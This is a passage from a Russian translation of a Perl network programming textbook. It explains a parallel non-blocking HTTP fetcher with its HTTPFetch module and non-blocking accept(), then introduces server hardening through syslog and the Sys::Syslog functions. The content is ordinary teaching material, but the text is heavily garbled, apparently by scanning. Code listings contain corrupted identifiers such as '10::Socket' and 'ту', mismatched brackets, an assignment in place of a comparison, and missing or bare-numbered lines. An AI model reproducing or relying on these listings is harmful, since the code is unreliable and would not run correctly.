Как описано в главе 9, есть большое число кодов состояния, но нас интересует код
200, который указывает, что запрос был выполнен успешно и что далее следует
затребованный документ. Если эта клиентская программа обнаруживает код состояния
200, то она пропускает заголовок и копирует тело документа на диск. В ином случае
она рассматривает ответ как сообщение об ошибке. В этом сценарии мы не пытаемся
обрабатывать ответы с кодом перенаправления или использовать другие развитые
средства протокола HTTP.
Этот сценарий, который получает имя, аналогичное имени своего
предшественника, web_fetch_p.pl, состоит из двух частей. Основной сценарий считывает URL из
командной строки и выполняет цикл select (). Вспомогательный модуль HTTPFetch
применяется для контроля за состоянием выборки каждого URL. Он создает исходящее
соединение, читает и интерпретирует заголовок HTTP и копирует возвращенный
документ на диск. Вначале рассмотрим основной сценарий (листинг 13.9).
Листинг 13.9. В сценарии web_fetch_p.pl используются неблокирующие
подключения для распараллеливания выборки URL
0: #!/usr/local/bin/perl -w-
1: # Файл: web_fetch_p.pl
2: use strict;
3: use HTTPFetch;
4: use 10::Socket;
5: use I0::Select;
6: my %C0NNECTI0NS; # Отображение "сокет => объект"
7: # Создать два объекта IO::Select для чтения и записи
8: my $readers = IO::Select->new;
9: ту $writers = IO::Select->new;
10:■ # Создать соединения из списка URL в командной строке
11: while (my $url = shift} {
12: next unless my $object = HTTPFetch->new($url);
13: $CONNECTIONS{$object->socket} = $object; # Запомнить
# сокет
14: $writers->add($object->socket); # Следить за
# выполнением в нем операций записи
15: }
16: while (my ($readable,$writable) =
10::Select->select($readers,$writers)) {
17: foreach (@$writable) { # Дескриптор готов для записи
16: my $obj = $CONNECTIONS{$_}; # Получить объект HTTP
19: my $result = $obj->send_request; # Попытаться
# отправить запрос
20: $readers->add($_) if $result; # Запрос отправлен
#успешно, поэтому контролировать готовность к чтению
21: $writers->remove($_); # и удалить из
# списка контролируемых для записи
22: }
Глава 13. Неблокирующий ввод-вывод
409
23: foreach (@$readable) { # Дескриптор готов для
# чтения
24: my $obj = $CONNECTIONS{$_}; # Получить объект HTTP
25: my $result = $obj->read; # Прочитать данные
26: unless ($result) { # Удалить дескриптор,
# если произошла ошибка
27
28
29
30
$readers->remove($_);
delete $CONNECTIONS{$
}
31: last-unless $readers->count or $writers->count; # Выйти
# из программы, если вся работа выполнена
32: }
Проведем анализ программы.
• Строки 1-6. Инициализация сценария. Выполнение начинается с загрузки модулей
Ю:: socket, Ю:: Select и HTTPFetch. Объявляется также глобальный хеш %C0NNECTioNS,
который отвечает за обмен информацией между сокетами и объектами HTTPFetch.
■ Строки 7-9. Создание объектов ю:: select. Теперь создаются два набора объектов
Ю:: select. Один из них позволяет контролировать готовность сокетов для чтения, а
другой —для записи.
■ Строки 10-15. Создание объектов соединения HTTPFetch. В следующем разделе кода из
командной строки считывается набор URL Для каждого из них создается новый объект HTTPFetch
путем вызова метода HTTPFetch->new () с указанием URL, который должен быть выбран.
Метод HTTPFetch->new () выполняет большой объем работы незаметно для постороннего
взгляда. Он интерпретирует URL, создает сокет TCP и инициализирует неблокирующее
соединение с соответствующим хостом Web-сервера. Если любой из этих этапов закончится
аварийно, метод new () возвращает значение undef и происходит переход к следующему URL.
В ином случае метод new () возвращает новый объект HTTPFetch.
Каждый объект HTTPFetch имеет метод socket (), который возвращает саой
основополагающий объект ю:: Socket. Этот сокет будет контролироваться в целях определения
момента завершения неблокирующего подключения. Данный сокет добавляется к набору $writers
объекта Ю:: select и информация о том, что этот сокет и объект HTTPFetch связаны между
собой, запоминается в хеше %connections.
■ Строка 16. Запуск цикла выборки дескрипторов, готовых к выполнению ввода-вывода.
Оставшаяся часть сценария представляет собой цикл select (). При каждом проходе по циклу
вызывается метод Ю: :Select->select () на наборах выборки $ readers и $wrlters. Вначале
набор $ readers пуст, но он заполняется по мере установления соединения в каждом из сокетов.
■ Строки 17-22. Обслуживание сокетов, готовых для записи. Вначале выполняются
необходимые действия с сокетами, готовыми для записи. К ним относятся сокеты, в которых
установлены соединения или была предпринята попытка установить соединение, окончившаяся
неудачей. Выполняется доступ по ключу к хешу %connections для выборки соответствующего
объекта HTTPFetch и вызывается метод send_request () объекта.
Этот метод вначале проверяет, подключен ли сокет, и, если да, передает соответствующий
.запрос get. Если запрос был передан успешно, метод send_request () возвращает
истинный результат и сокет добавляется к списку сокетов, контролируемых на их готовность для
чтения. В любом случае нет необходимости снова отправлять данные в этот сокет, поэтому он
удаляется из набора выборки $ writers.
■ Строки 23-30. Обслуживание сокетов, готовых для чтения. В следующем разделе
выполняется обслуживание сокетов, готовых для чтения. Они соответствуют объектам сеансов
HTTPFetch, в которых было успешно установлено соединение и запрос был передан на сервер.
Опять-таки, сокет применяется в качестве ключа для выборки объекта HTTPFetch и вызова
его метода read (). В самом методе read () предусмотрено чтение заголовка и тела
страницы, а также копирование данных тела страницы в локальный файл. Эти операции реализова-
410 Часть Ш. Разработка систем TCP типа клиент/сервер
ны таким образом, что чтение никогда не блокируется, и это исключает вероятность того, что
медленный Web-сервер задержит выполнение всех остальных операций.
Вызов метода read () возвращает истиннее значение, если было успешно выполнено чтение
из сокета, или ложное значение, если возникла ошибка чтения или достигнут конец файла.
В последнем случае работа с сокетом закончена, поэтому он удаляется из набора $readers
и хеша %connections.
Строка 31. Завершающие действия. Выполнение цикла заканчивается, если в наборах
Sreaders или Swriters не осталось больше ни одного дескриптора. Это проверяется путем
вызова методов count () соответствующих объектов ю:: select.
Модуль HTTPFetch
Теперь рассмотрим модуль HTTPFetch, в котором реализована основная часть
функциональных средств этой программы (листинг 13.10).
ЛИСТИНГ 13.10. МОДУЛЬ HTTPFetch
0: package HTTPFetch;
1: # Файл: HTTPFetch.pm
2
3
4
5
б
7
8
9
10
11
12
13
20
21
22
23
24
25
26
27
28
29
use strict;
use IO::Socket qw(:DEFAULT :crlf);
use File::Path;
use File::Basename;
use IO::File;
use Errno 'EINPROGRESS';
sub new {
my $pack = shift;
my $url = shift;
# Интерпретировать URL и вернуть его компоненты
my ($host,$port,$path) = $pack->parse_url($url) ;
return $pack->error("invalid url: $url\n") unless $host;
14: # Подключиться к удаленному хосту в неблокирующем
# режиме
15: my $sock = $pack->connect($host,$port);
16: return $pack->error("can't connect: $!") unless $sock;
17: # Построить имя локального файла, в который будут
# копироваться данные
18: my $localpath = "./$host/$path";
19: $localpath .= "index.html" if $localpath =~ m!/$!;
return bless {
# ("waiting", "reading header" или "reading body")
status => 'waiting*,
socket => $sock,
remotepath => $path,
localpath => $localpath,
url => $url,
localfh => undef, # Еще не открыт
header •=> undef, # Еще не определен
},$pack;
Глава 13. Неблокирующий ввод-вывод
411
30:
}
31: # Возвращает сокет, связанный с объектом
32: sub socket { shift->{socket} }
33: # Очень простая подпрограмма интерпретации URL
34: sub parse_url {
35: my $self = shift;
36: my $url = shift;
37: my ($hostentf$path) = $url =~ m!"http://(["/]+)(/?["\#]*J! Or
return;
38: $path I|= ■/';
39: my ($host,$port) = split(':',$hostent);
40: return ($host,$portI I80,$path) ;
41: }
42: # Вызьшается для подключения к удаленному хосту
43: sub connect {
44: my $pack = shift;
45: my ($host,$port) = @_;
46: my $sock = 10::Socket::INET->new(Proto => 'tcp',
47: Type => SOCK_STREAM);
48: return unless $sock;
49: $sock->blocking (0);
50: my $addr = sockaddr_in($port,inet_aton($host));
51: my $result = $sock->connect($addr);
52: return $sock if $result; # Возвратить сокет, если он
# уже подключен
53: return $sock if $! == EINPROGRESS; # Процесс
# подключения еще продолжается
54: return; # При обнаружении других ошибок
# возвратить значение undef
55: }
56: # Вызывается для отправки запроса HTTP
57: sub send_request {
58: my $self = shift;
59: die "not in right state" unless $self->{status} eq 'waiting';
60: unless ($self->{socket}->connected) {
61: $! = $self->{socket)->sockopt(SO_ERROR);
62: return $self->error("couldn't connect: $!") ;
63: }
64: $self->{socket}->blocking(1); # Возвращение в обычный
# блокирующий режим
65: return $self->error("syswrite(): $!"}
66: unless syswrite($self->{socket),
"GET $self->{remotepath) HTTP/1.0$CRLF$CRLF") ;
67: $self->{status) = 'reading header';
68: }
69: # Вызывается, когда сокет готов для чтения
70: sub read {
71: my $self = shift;
72: return $self->read_header
if $self->{status) eq 'reading header';
73: return $self->read_body
if $self->{status) eq 'reading body';
412
Часть Ш. Разработка сштем TCP типа клиент/сервер
74:
)
75: # Прочитать заголовок до символов $CRLF$CRLF
# (до пустой строки)
76: # Вернуть истинное значение при получении ответа 200 ОК
77: sub read_header {
78: my $self = shift;
79: my $bytes = sysread($self->{socket},
$self->{header},1024,length $self->{header));
80: return $self->error
("Unexpected close before header read") unless $bytes >
81: # Обнаружена пустая строка?
82: my $i = rindex($self->{header),"$CRLF$CRLF");
83: return 1 unless $i >= 0; # Нет, продолжить чтение
84: # Обнаружен заголовок
85: my ($stat_code,$stat_msg) = $self->{header) =
~ т!ЛНТТР/1\.[01] (\d+) (.+)$CRLF!o;
86: # При кодах состояния, отличных от 200, вернуть
# сообщение об ошибке
87: return $self->error("$stat_code $stat_msg")
unless $stat_code = 200;
88: # Если за заголовком следует информационное наполнение,
# записать его в файл на локальном компьютере
89: my $extra_data = substr($self->{header),$i+4);
90: $self->write_local{$extra_data) if length $extra_data;
91: undef $self->{header); # Заголовок сейчас не нужен
92: return $self->{status} = 'reading body';
93: }
94: # Вызывается для чтения тела сообщения и записи его в
# файл на локальном компьютере
95: sub read_body {
96: my $self = shift;
97: my $data;
98: return $self->write_local($data)
if sysread($self->{socket},$data,1024};
99: return;
100: }
101: # Вызывается для записи данных в файл на локальном
# компьютере
102: sub writelocal {
103: my $self = shift;
104: my $data = shift;
105: unless ($self->{localfh}) {
106: mkpath(dirname($self->{localpath}));
107: $self->{localfh} = IO::File->new($self->{localpath},">"}
108: || return $self->error("Can"t open local file: $!");
109: }
110: syswrite($self->{localfh},$data) II return $self->error
("Can't write local file: $!");
Ill: }
Глава 13. Неблокирующий ввод-вывод
112: ' # В случае ошибки вывести предупреждающее сообщение и
# вернуть значение undef
sub error {
my ($self,@msg) = @_;
unshift @msg,"$self->{url>: " if ref $self;
warn @msg,"\n";
return;
113
114
115
116
117
118
}
119:
Проведем анализ программы.
Строки 1-7. Загрузка модулей. Выполнение кода модуля начинается с вызова модулей
Ю:: Socket, Ю:: File и carp. Импортируется также константа einprogress из модуля
Errno И выполняется загрузка модулей File: :Path и File: :Basename. Эти модули
импортируют функции mkpatho и dirname().которые применяются для создания пути доступа
к локальной копии загруженного файла.
Строки 8-31. Конструктор пек(). Метод new() создает объект HTTPFetch. Его
единственным параметром является (JRL, по которому должна быть выполнена выборка информации.
Выполнение метода начинается с интерпретации URL и выделения частей с указанием хоста,
порта и пути, для чего применяется внутренняя процедура parse_url (). Если интерпретация
URL не может быть выполнена, то вызывается внутренний метод error (), который
отправляет сообщение об ошибке в дескриптор stderr и возвращает значение undef.
Если URL был интерпретирован успешно, то вызывается метод connect () для
инициализации неблокирующего подключения. Если в этот момент возникает ошибка, снова выдается
сообщение об ошибке и возвращается значение undef.
Следующая задача состоит в преобразовании пути доступа URL в локальное имя файла.
В данной реализации программы локальный путь доступа создается на основе имени
удаленного хоста и удаленного пути доступа. Локальный путь доступа строится относительно
текущего катвлога. В случае URL, который оканчивается косой чертой, применятся имя локального
файла index.html в соответствии с соглашением, которому обычно следуют Web-серверы.
Это имя локального файла в конечном итоге становится переменной экземпляра locaipath.
Теперь первоначальный URL, объект сокета и имя локального файла записываются в хеш,
включенный в пространство имен с помощью функции bless (). Устанавливается также
переменная экземпляра status, которая применяется для отслеживания состояния соединения.
Вначале соединение находится в состоянии ожидания "waiting". После завершения
неблокирующего подключения оно будет установлено в состояние чтения заголовка "reading
header", а затем, после получения заголовка HTTP, в состояние чтения тела страницы
"reading body".
Строка 32. Средство доступа socket (). Метод socket () представляет собой
общедоступную процедуру, которая возвращает сокет объекта HTTPFetch.
Строки 33-41. Метод parse_uri(). Этот метод разбивает URL протокола HTTP на компоненты
в два этапа. Вначале отделяются части host:port и path с обозначением хоста, порта и пути
доступа, а затем часть host: port разбивается на соответствующие два компонента. Этот метод
возвращает трехэлементный список, содержащий хост, номер порта и путь доступа.
Строки 42-55. Метод connect О. Метод connect () инициализирует неблокирующее
подключение с применением способа, описанного выше. Создается неподключенный объект
Ю:: Socket, состояние его блокировки устанавливается равным ложному значению и
вызывается метод connect () сокета с желаемым адресом назначения. Если метод connect ()
сразу же сообщает об успешном выполнении или возвращает значение undef, но переменная
$! имеет значение einprogress, to возвращается полученный сокет. В ином случае возникла
какая-то ошибка и возвращается ложное значение.
Строки 56-68. Метод send_request (). Данный метод вызывается, если сокет перешел в
состояние готовности для записи либо потому, что в нем была успешно выполнена операция не-
414
Часть III. Разработка систем TCP типа клиент/сервер
блокирующего подключения, либо потому, что возникла ошибка и операция подключения
потерпела неудачу.
Вначале проверяется переменная состояния экземпляра и вызывается функция die, если эта
переменная не находится в ожидаемом состоянии "waiting" — такая ситуация могла бы
свидетельствовать об ошибке в программе, но мы-то знаем, что у нас таких ошибок не бывает ,- -).
Если эта проверка выполнена успешно, определяется, подключен ли сокет. Если он не
подключен, выполняется выборка сообщения об ошибке с отложенной активизацией, запись его
в переменную $! и возвращение сообщения об ошибке вызывающей процедуре.
В ином случае соединение было выполнено успешно. Сокет снова переводится в блокирующий
режим и предпринимается попытка отправить соответствующий запрос get на Web-сервер.
В случае ошибки записи выдается сообщение об ошибке и возвращается значение undef.
В ином случае можно сделать вывод, что запрос был отправлен успешно, и установить
значение переменной состояния, равное "reading header".
Строки 69-74. Метод read(). Метод read() вызывается после перехода сокета объекта
HTTPFetch в состояние готовности для чтения, что может указывать на то, что сервер
приступил к отправке ответа HTTP. Рассматривается содержимое переменной состояния status.
Если эта переменная имеет значение "reading header", вызывается метод read_header ().
В ином случае вызывается метод read_body ().
Строки 75-93. Метод read_header (). Этот метод немного сложнее, поскольку необходимо
выполнять чтение до тех пор, пока не появятся две пары символов cpxf, которые обозначают
конец заголовка. Для этого нельзя использовать оператор о, поскольку он может заблокиро-
ваться и, к тому же, безусловно, будет конфликтовать с вызовами функции select () в
основной программе.
Для этого сокета вызывается функция sysread (). которая запрашивает фрагмент данных
длиной 1024 байта. Может быть получен весь фрагмент в одной операции или выполнено частичное
чтение, после которого снова придется вызывать операцию чтения после перехода сокета в
состояние готовности. В любом случве все полученные данные добавляются к концу внутреннего
буфера, обозначенного переменной экземпляра header, и используется функция г index о для
проверки того, не была ли получена пара символов crlf. Функция rindex () возвращает индекс
искомой строки в более длинной строке, начиная с крайней правой позиции.
Если полный заголовок еще не получен, просто выполняется возврат. Главный цикл
предоставит еще одну возможность выполнить чтение из этого сокета в следующий раз, когда метод
select () укажет, что он готов для чтения. В ином случае выполняется интерпретация самой
верхней строки, а также выборка кода и сообщения состояния протокола HTTP. Если код
состояния указывает, что произошла ошибка протокола HTTP любого типа, вызывается метод
error о и возвращается значение undef. В ином случае выполняется подготовка к переходу
в состояние "reading body". Однако необходимо учитывать то, что последняя операция
sysread () могла выполнить чтение за пределами заголовка и захватить часть самого
документа. Поскольку известно, где оканчивается заголовок, просто извлекаются данные
документа с использованием функции substr () и вызывается метод write_iocal () для записи
документа в локальный файл. Метод write_iocal () будет вызываться повторно при
выполнении последующих этапов для записи оставшейся части документа в локальный файл.
Устанавливается значение переменной состояния status, равное "reading body", и
выполняется возврат.
Строки 94-100. Метод read_body(). Код метода read_body () исключительно прост.
Вызывается функция sysread () для чтения данных с сервера фрагментами по 1024 байта и
выполняется передача их методу write_local () для копирования данных документа в
локальный файл. Если во время чтения или записи возникают какие-либо ошибки, возвращается
значение undef. Значение undef возвращается и в том случае, если функция sysread ()
возвращает 0 байт, что указывает на получение признака конца файла EOF.
Строки 101-111. Метод write_iocai (). Этот метод отвечает за запись фрагмента данных
в локальный файл. Файл открывается только в случае необходимости. Выполняется
проверка объекта HTTPFetch на нвличие переменной экземпляра localfh. Если она не
определена, то вызывается функция mkpath () для создания требуемых родительских
каталогов, если в этом есть необходимость, и метод Ю: :File->new() для открытия файла,
указанного параметром localpath. Если файл не может быть открыт, выполнение метода
завершается с сообщением об ошибке. В ином случае вызывается функция syswrite ()
Глава 13. Неблокирующий ввод-вывод
415
для записи данных в файл и дескриптор файла запоминается как атрибут экземпляра
localfh для последующего использования.
■ Строки 112-118. Метод error (). В этом методе применяется функция сагр() для записи
указанного сообщения об ошибке в стандартный дескриптор вывода сообщений об ошибках.
Для удобства перед этим сообщением об ошибке выводится URL, за который отвечает данный
объект HTTPFetch.
Для проверки результатов применения параллельного подключения автор
сравнил эту программу с версией сценария web_fetch.pl, в котором выборка
информации выполняется в последовательном цикле, и обнаружил, что выборка
начальных страниц трех популярных Web-серверов (www.yahoo.com, www.google.com
и www .infoseek.c om) ускорилась примерно в три раза.
Неблокирующий вызов метода ассерЦ)
Неблокирующий вызов метода accept () чаще всего используется для задания
тайм-аута. Кроме того, он применяется в сервере, который должен принимать
соединения из нескольких портов. В этом случае можно создать в сервере
несколько приемных сокетов и выполнять на них функцию select (). Функция
select () укажет, что сокет готов для чтения, если метод accept (} может быть
вызван без блокировки.
Общая схема реализации такого подхода показана в следующем фрагменте кода.
В нем создаются три сокета, соответственно, привязанные к портам 80, 8000 и 8080
(эти порты обычно применяются в Web-серверах).
my $sock80 = 10: -.Socket: : lNET->new( LocalPort => 80,
Listen => 20,
Reuse => 1);
my $sock8000 = 10::Socket::INET->new( LocalPort => 8000,
Listen => 20,
Reuse => 1);
my $sock8080 = 10::Socket::INET->new( LocalPort => 8080,
Listen => 20,
Reuse => 1);
Каждый сокет отмечается как неблокирующий и добавляется к набору
10::Select.
foreach ($sock80,$sock8000,$sock8080) {
$_->blocking(0);
}
my $listeners = 10::Select->new($sock80,$sock8000,$sock8080);
В главном цикле вызывается метод can_react () объекта 10: : Select и
возвращается список сокетов, готовых для выполнения метода accept (). Вызывается метод
accept () каждого готового сокета и обслуживается подключенный сокет, который
возвращен из анонимной подпрограммы путем перевода его снова в блокирующий
режим и передачи некоторой процедуре, которая обрабатывает это соединение.
Возможно также, что метод accept () возвратит значение undef и установит
код ошибки EWOULDBLOCK, даже если метод select (} покажет, что сокет готов
для чтения. Это может произойти, если удаленный хост разорвал соединение
между возвратом из метода select {) и вызовом метода accept (). В этом случае
просто выполняется переход в начало цикла, и попытка чтения из сокета
повторяется позднее.
416
Часть Ш. Разработка систем TCP типа клиент/сервер
while (1) {
my @ready = $listeners->can_read;
foreach (Qready) {
next unless my $connected = $_->accept();
$connected->blocking(l);
handle_connection($connected);
)
}
Резюме
Неблокирующий ввод-вывод — обоюдоострый меч. С одной стороны, он позволяет
создавать серверы, которые могут обслуживать одновременно несколько соединений,
не порождая новые процессы или потоки. По сравнению с мультипроцессными
решениями, неблокирующий ввод-вывод обеспечивает небольшое повышение
производительности и потребляет меньшее количество системных ресурсов. (Зн является
также единственным возможным решением по созданию серверов, обслуживающих
большое число соединений, на платформах, не поддерживающих функцию fork ()
или многопоточный API-интерфейс, таких как Macintosh.
С другой стороны, неблокирующий ввод-вывод значительно повышает сложность
сетевого программного обеспечения. В основном это связано с тем, что в программе
приходится следить за частично выполненными операциями записи и обрабатывать
ошибки EWOULDBLOCK, возникающие при вызове функций syswrite () и sysread ().
Примеры сценариев, представленные в этой главе, принадлежат к числу самых
длинных программ этой книги, и для их разработки и отладки потребовалось очень много
времени. Сам автор почти всегда предпочитает мультипроцессные или
многопоточные решения неблокирующему вводу-выводу.
Неблокирующий ввод-вывод может также использоваться для предотвращения
блокировки вызовов функций connect () и accept (). Это позволяет применять
к таким вызовам тайм-ауты и распараллеливать попытки соединения без
значительного увеличения размера и повышения сложности программного обеспечения.
Глава 13. Неблокирующий ввод-вывод
417
Глава [J4j
Повышение безотказности
серверов
В главе 10 были описаны подпрограммы, которые выполняют некоторые задачи
запуска, широко применяемые в производственных серверах в среде UNIX. В число
этих задач входит отключение от управляющего терминала, автоматический перевод
в фоновый режим и запись копии идентификатора процесса PID сервера в файл,
существующий в течение всего времени работы сервера. В целом это позволяет
повысить управляемость сетевых серверов.
Поскольку сетевые серверы служат в качестве шлюза на входе в хост, именно эти
программы с наибольшей вероятностью могут создавать бреши в защите. Для
обеспечения надежной защиты сетевых серверов, кроме описанного выше, можно сделать
гораздо больше. В производственных серверах часто применяется одно или
несколько важных средств.
1. Регистрация сообщений с кодом состояния в системном журнале регистрации
ошибок.
2. Применение в качестве идентификатора пользователя (UID) идентификатора
непривилегированного пользователя.
3. Активизация проверки потенциально опасных данных.
4. Применение вызова chroot () для изоляции сервера в безопасном подкаталоге.
5. Обработка сигнала HUP для повторной инициализации сервера.
В настоящей главе будут описаны эти методы и рассмотрены общие проблемы
защиты сетевых серверов и способы их решения в сценариях.
Основная часть методов, описанных в этой главе, относится только к системе
UNIX. Однако пользователи версий Perl для Windows и Macintosh должны
ознакомиться с разделами "Непосредственное ведение журнала в файле" и "Режим проверки
потенциально опасных данных" настоящей главы, в которых рассматриваются
проблемы защиты, общие для всех платформ.
Применение системного журнала
Поскольку сетевые демоны отключены от стандартного устройства вывода
сообщений об ошибках, в них для вывода предупреждающих и диагностических
сообщений может применяться только непосредственная запись этих сообщений в файл
418
Часть Ш. Разработка систем TCP типа клиент/сервер
журнала. Однако для этого необходимо вначале найти ответ на следующие вопросы:
где должен находиться файл журнала и как синхронизировать регистрационные
сообщения от нескольких дочерних процессов мультипроцессного сервера. К счастью,
в операционной системе UNIX предусмотрена надежная и гибкая система ведения
журналов, syslog, в которой эти проблемы решены.
Система syslog обслуживается демоном syslogd и настраивается с помощью
системного файла /etc/syslog.conf. В некоторых системах применяется два
демона регистрации — для сообщений ядра и всех прочих сообщений.
Система syslog получает сообщения из двух основных источников— самого ядра
операционной системы и пользовательских программ, таких как демоны. Входящие
сообщения распределяются согласно правилам, определенным в файле
/etc/syslog.conf, по набору файлов и/или устройств. Сообщения обычно
записываются в постоянно растущий набор файлов в каталогах /var/log или /var/adm
либо отображаются на текстовой системной консоли. Демон syslogd способен
также передавать сообщения по сети на другой хост для удаленной регистрации или
получать сообщения с удаленного компьютера для локальной регистрации.
Ниже приведена небольшая выдержка из одного журнала на лэптопе автора.
Aug 18 08:46:51 pesto dhclient: DHCPREQUEST on ethO to
255.255.255.255 port 67
Aug 18 08:46:51 pesto dhclient: DHCPACK from 132.239.12.9
Aug 18 08:46:51 pesto dhclient: bound to 132.239.12.42 - renewal
in 129600 seconds.
Aug 18 11:46:51 pesto cardmgr[32]: executing: './serial start
ttyS2'
Aug 18 08:51:25 pesto sendmail[11142]: gethostbyaddr () failed
for 132.239.12.42
Aug 18 08:51:27 pesto sendmail[11142]: IAA11142: from=lstein,
size=667904, class=0
Aug 18 11:51:36 pesto xntpd[207]: synchronized to 64.7.3.44,
stratum=4
Aug 18 11:51:30 pesto xntpd[207]: time reset (step) -6.315089 s
Здесь можно видеть сообщения от четырех демонов. Каждое сообщение состоит
из отметки времени, имени хоста, на котором работает демон (pesto), имени и
необязательного идентификатора процесса PID демона и короткого регистрационного
сообщения о состоянии.
Система syslog составляет стандартную часть всех обычных дистрибутивов
UNIX и Linux. В системе Windows NT/2000 есть аналогичное средство,
называемое Event Log, но оно сложнее в использовании, поскольку для журналов
применяется двоичный формат. Однако модуль Win32: : EventLog, который можно
получить из архива CPAN, обеспечивает чтение и запись журналов событий NT
в сценариях Perl. На платформе Windows может применяться бесплатный пакет
NTsyslog, представляющий собой интерфейс от системы Windows к службе
sys log UNIX. Этот пакет можно получить по адресу: http: / /www. sabernet. net/
software/ntsyslog.html.
Система syslog UNIX
Для отправки записи журнала в систему syslog любой демон должен предоста-'
вить демону syslogd сообщение, содержащее три информационных компонента:
категория, приоритет и текст сообщения.
Глава 14. Повыгиетте безотказности серверов
419
Категория
Категория обозначает тип программы, которая отправила сообщение. Эта
информация используется для распределения сообщений По файлам журналов или для
дополнительного уточнения места назначения сообщений. В системе syslog
определены следующие категории.
■ auth.-Сообщения системы контроля доступа пользователя.
■ authpriv. Сообщения системы контроля доступа привилегированного
пользователя.
■ Gron. Сообщения демона сгоп.
■ daemon. Сообщения различных системных демонов.
■ ftp. Сообщения демона FTP.
■ kern. Сообщения ядра.
■ localt)-local7. Категории, зарезервированные для сообщений локальных
программ.
■ 1рг. Сообщения системы печати.
■ mail. Сообщения почтовой системы.
■ news. Сообщения системы новостей.
■ s ys log. Внутренние сообщения системы s ys log.
■ uucp. Сообщения системы uuCp.""
■ user. Сообщения различных пользовательских программ.
Для сетевых Демонов обычно используется категория daemon или одна из
категорий 1осаЮ-1оса17.
Приоритет
С каждым сообщением системы syslog связан приоритет, который указывает
степень его важности. Демон syslogd может распределять сообщения не только по
категориям, но и по приоритету, чтобы срочные сообщения могли быть обозначены,
как требующие немедленного вмешательства. В системе syslog применяются
следующие приоритеты.
■ erne rg. Авария; система непригодна к эксплуатации.
■ ale rt. Тревога; должны быть немедленно приняты меры.
■ cr i t. Критическая ситуация.
■ err. Ошибка.
■ warning. Предупреждение.
■ notice. Ситуация обычная, но заслуживает внимания.
■ info. Обычное информационное сообщение.
■ debug. Отладочное сообщение.
Общих правил определения приоритета не существует. Основная
разграничительная линия проходит между сообщением с приоритетом warning, который
указывает на какое-то нарушение, и сообщением с приоритетом notice, которое
появляется во время обычной работы.
420
Часть Ш. Разработка систем TCP типа клиент/сервер
Текст сообщения
Каждое сообщение, направляемое в систему syslog, содержит также
текстовую информацию, предназначенную для восприятия человеком, с описанием
проблемы. Для удобства чтения файла журнала сообщения не следует включать
в текст символы обозначения конца строки, символы табуляции или
управляющие символы (вполне допустимо применение в конце сообщения символов
обозначения конца строки).
Демон syslogd может принимать сообщения из двух источников— локальных
программ через сокет домена UNIX (глава 22) и удаленных программ через сокет
домена Internet с использованием протокола UDP (глава 18). Первый способ
является более эффективным, а последний — более гибким, поскольку позволяет
передавать сообщения с нескольких хостов локальной сети на один и тот же хост
ведения журнала. Для демона syslogd может потребоваться явная настройка на прием
удаленных соединений; дистанционное ведение журнала ранее служило причиной
многих нарушений защиты.
Модуль Sys::Syslog
Для отправки сообщений демону syslogd из сценария Perl может применяться
модуль Sys:: Syslog, который входит в состав дистрибутива Perl. После вызова
модуль Sys:: Syslog импортирует следующие четыре функции.
openlog($identity,$option*,Sfacility)
Функция <.penl(.-?() инициализирует модуль Sys::Syslog и устанавливает опции для вывода
последующих сообщений. Обычно ее следует вызывать в начале программы. Три параметра этой
функции определяют идентификатор сервера $i ltntity, который должен быть указан в начале
каждой записи журнала, набор опций $ pticns, который управляет форматированием записи
журнала, и категорию $ facility, которая должна быть выбрана из указанных выше.
Параметр $options функции openlog () представляет собой список, состоящий
из следующих ключевых слов, разделенных пробелами или запятыми.
■ cons. Выводить сообщение непосредственно на системную консоль, если его
нельзя отправить демону syslogd.
■ ndelay. Открыть соединение с демоном syslogd немедленно, а не ждать того
момента, когда потребуется регистрация первого сообщения.
■ pid. Включить в запись журнала идентификатор процесса программы.
■ nowait. He ждать доставки регистрационного сообщения; немедленно
выполнить возврат.
Например, для регистрации записи "eliza", включения в нее идентификатора
процесса и категории local0 необходимо вызвать функцию openlog ().
openlog('eliza', "pid'f ЧосаЮ') ;
'До версии Perl 5.6 для работы этого модуля требовался файл заголовка syslog. ph, но этот файл не
входил в состав дистрибутива и должен был создаваться вручную с использованием инструментального средства
h2ph {которое описано в разделе "Реализация функции sockatmark () " главы 17). Модуль Sys: :Syslog
должен применяться, начиная с версии 5.6.
Глава 14. Повыгиетше безотказности серверов
421
Функция возвращает истинное значение, если инициализация модуля
Sys:: Syslog была выполнена успешно.
$byt6s - яун1од(.{priority, $format,вorgs)
Пссле вызова функции с ptnlog () можно вызвать функцию sys 1с g () для отправки сообщений
журнала демону sysicgl. Параметр Sjriority представляет собой один из списанных выше
приоритетов журнала Параметр Sfomyit содержит строку формата в стиле функции sprintf (у, а
остальные необязательные параметры передаются функции sprintf О для преобразования с
использованием строки формата.
Синтаксис строки формата соответствует применяемому в функциях printf ()
и sprintf (), за исключением того, что обозначение формата %га автоматически
заменяется значением переменной $ ! и не требует параметра. Синтаксис строки
формата описан в документации POD к функции sprintf ().
Например, следующий оператор отправляет сообщение в системный журнал с
использованием приоритета err.
syslog('err',"Couldn't open %s for writing: %m",$file);
В результате в журнал будет внесена примерно такая запись:
Jun 2 17:10:49 pesto eliza [14555]:
Couldn't open /var/run/eliza.pid for writing:
Permission denied
В случае успешного выполнения функция syslog () возвращает число записанных
байтов, в ином случае — значение undef.
doselogO
Эта функция разрывает соединение с демоном sysloj-J и выполняет заключительные действия.
Она вызывается по окончании отправки в журнал сообщений. Требование вызывать е программе
функцию closbloj () перед завершением работы не является строго обязательным
setlogsock(Ssocktype)
Функция setlc js jck () управляет тем, должен ли модуль Sys:: Syslog подключиться к демону
syslog.i через сокет дсмена Internet или через локальный сокет домвна UNIX. Пара мет;) $sr cX,type
может иметь значение *in«.t" (предусмотренное по умолчанию) или "unjot". Если применяемая
в системе версии демона sysloy i не рассчитана на прием сообщений по сети, то может
потребоваться вызвать эту функцию с параметром "unix*.
Функция setlogsock () не импортируется по умолчанию. Ее необходимо
импортировать вместе с функциями Sys:: Syslog, импортируемыми по умолчанию.
use Sys::Syslog qw(:DEFAULT setlogsock);
Функцию setlogsock () следует вызывать перед первым вызовом функции
openlog() или syslog().
Кроме этих четырех функций, есть еще одна, setlogmask (), которая позволяет
устанавливать маску для исходящих сообщений, чтобы демону syslogd отправлялись только
сообщения с определенным приоритетом. К сожалению, эта функция требует
преобразования имен приоритетов в числовые двоичные маски, что затрудняет ее использование.
В этом модуле есть также внутренняя переменная $Sys: : Syslog: : host,
определяющая имя хоста, на котором модуль будет вносить записи в журнал в режиме
"inet". По умолчанию в качестве значения этой переменной установлено имя
локального хоста. Для внесения записей в журнал на удаленном хосте необходимо
установить значение этой переменной вручную перед вызовом функции openlog ().
Однако поскольку эта переменная не описана в документации, ее можно использовать
